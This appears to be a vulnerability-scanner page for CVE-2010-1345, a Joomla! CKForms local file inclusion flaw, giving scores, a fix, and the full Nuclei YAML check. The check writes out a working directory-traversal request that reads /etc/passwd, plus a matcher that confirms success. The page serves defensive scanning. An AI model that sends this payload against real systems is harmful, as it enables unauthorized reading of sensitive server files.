Joomla! Component Cookex Agency CKForms - Local File Inclusion

mediumseverity

5CVSS score

16.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1345 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1345

info:
  name: Joomla! Component Cookex Agency CKForms - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/15453
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1345
    - http://www.exploit-db.com/exploits/11785
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1345
    cwe-id: CWE-22
    epss-score: 0.16872
    epss-percentile: 0.97072
    cpe: cpe:2.3:a:cookex:com_ckforms:1.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cookex
    product: com_ckforms
  tags: cve2010,cve,lfi,edb,joomla,cookex,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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